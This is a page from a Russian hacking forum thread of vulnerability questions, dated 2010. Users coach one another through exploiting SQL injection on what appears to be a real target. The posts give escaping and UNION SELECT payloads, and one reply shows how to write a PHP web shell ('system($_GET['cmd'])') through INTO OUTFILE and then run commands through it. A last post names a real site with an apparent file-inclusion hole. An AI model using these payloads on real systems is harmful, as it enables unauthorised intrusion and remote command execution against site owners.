ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости
Перезагрузить страницу Ваши вопросы по уязвимостям.
   
Ответ
Страница 1131 из 1393 « Первая < 131631103110811121 1127 1128 1129 1130 1131 1132 1133 1134 1135 114111811231 > Последняя »
 
Опции темы Поиск в этой теме Опции просмотра

  #11301  
Старый 21.01.2010, 20:21
YuNi|[c
Участник форума
Регистрация: 17.09.2006
Сообщений: 248
Провел на форуме:
556476

Репутация: 66
По умолчанию
прощу помочь с этим скулем:
http://localhost//?script=%2527
вывод:
Цитата:
Error You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '%') or (t.page_title like '%'%') or (t.brief like '%'%') or (t.metakeywords like' at line 6 in
и пробовал
http://localhost//?script=%2527)+order+by+1+--+
тоже результат такой же ((
Как поступит в таком случае? Думал найду в других страничках но скул единственный
 
Ответить с цитированием

  #11302  
Старый 21.01.2010, 20:31
Alf0x0ns
Новичок
Регистрация: 12.01.2010
Сообщений: 13
Провел на форуме:
61009

Репутация: 18
По умолчанию
так тебе ничего никто не поможет.. нужно ссылку на сайт со скулей.
 
Ответить с цитированием

  #11303  
Старый 21.01.2010, 20:36
[NiGHT]DarkAngel
Участник форума
Регистрация: 29.03.2005
Сообщений: 138
Провел на форуме:
812087

Репутация: 129
По умолчанию
Цитата:
Сообщение от YuNi|[c  
прощу помочь с этим скулем:
http://localhost//?script=%2527
вывод:

и пробовал
http://localhost//?script=%2527)+order+by+1+--+
тоже результат такой же ((
Как поступит в таком случае? Думал найду в других страничках но скул единственный
http://localhost/?script=%2527)/* - так запрос должен выполниться без ошибок.
http://localhost/?script=%2527) union select 1,2,3,user()/* - вот так будет sql-injection

Это к примеру,т.к точного уязвимого скрипта нет.
 
Ответить с цитированием

  #11304  
Старый 21.01.2010, 21:08
YuNi|[c
Участник форума
Регистрация: 17.09.2006
Сообщений: 248
Провел на форуме:
556476

Репутация: 66
По умолчанию
Цитата:
Сообщение от [NiGHT]DarkAngel  
http://localhost/?script=%2527)/* - так запрос должен выполниться без ошибок.
http://localhost/?script=%2527) union select 1,2,3,user()/* - вот так будет sql-injection

Это к примеру,т.к точного уязвимого скрипта нет.
вроде ?script=%2527)/* норм но как добалю union select та же ошибка хз как обойти
 
Ответить с цитированием

  #11305  
Старый 21.01.2010, 21:15
[NiGHT]DarkAngel
Участник форума
Регистрация: 29.03.2005
Сообщений: 138
Провел на форуме:
812087

Репутация: 129
По умолчанию
Цитата:
Сообщение от YuNi|[c  
вроде ?script=%2527)/* норм но как добалю union select та же ошибка хз как обойти
Скидывай лог ошибки и если есть возможность изменить скрипт выводи sql запрос в браузер,так проще будет разобраться в чем причина.
 
Ответить с цитированием

  #11306  
Старый 21.01.2010, 22:00
YuNi|[c
Участник форума
Регистрация: 17.09.2006
Сообщений: 248
Провел на форуме:
556476

Репутация: 66
По умолчанию
тоесть как выводит то сам запрос в браузер
 
Ответить с цитированием

  #11307  
Старый 21.01.2010, 22:28
YuNi|[c
Участник форума
Регистрация: 17.09.2006
Сообщений: 248
Провел на форуме:
556476

Репутация: 66
По умолчанию
отправил в пм линк
 
Ответить с цитированием

  #11308  
Старый 21.01.2010, 22:42
erolom
Познающий
Регистрация: 14.03.2009
Сообщений: 38
Провел на форуме:
250929

Репутация: 2
Отправить сообщение для erolom с помощью ICQ
По умолчанию
спасибо M.W.N.N. и Rullery =)

ну вот с привелегий FILE разобрался , ребята не можете теперь помочь как залить шелл если имееться данная привелегия и слышал что вначале лучше залить какой то "плохой" шелл а далее через него уже нормальный.Кто что посоветует по данному сабжу?
 
Ответить с цитированием

  #11309  
Старый 21.01.2010, 23:12
ILYAtirtir
Участник форума
Регистрация: 25.04.2007
Сообщений: 176
Провел на форуме:
1957988

Репутация: 739
Отправить сообщение для ILYAtirtir с помощью ICQ
По умолчанию
union+select+'<? system($_GET['cmd']); ?>'+into+outfile+'/[path]/shell.php'
Дальше site.com/shell.php?cmd=[command]
 
Ответить с цитированием

  #11310  
Старый 21.01.2010, 23:18
svesve
Постоянный
Регистрация: 15.06.2007
Сообщений: 527
Провел на форуме:
1734541

Репутация: 214


По умолчанию
http://www.wearhouse.ru/show_img.php?img=http://img.yandex.net/i/www/logo.png

можно инклудить любую картинку, есть возможность заинклудить не картинку?
 
Ответить с цитированием
Ответ
Страница 1131 из 1393 « Первая < 131631103110811121 1127 1128 1129 1130 1131 1132 1133 1134 1135 114111811231 > Последняя »



« Предыдущая тема | Следующая тема »
Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился) PEPSICOLA Болталка 188 23.05.2010 10:05
Ваши любимые компьютерные игры PEPSICOLA Болталка 280 19.08.2009 00:01
Ваши телеги... F-IFTY Болталка 13 18.08.2009 18:22
Вопросы по Ipb 2.0 Voodoo_People Форумы 26 15.02.2005 22:57



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ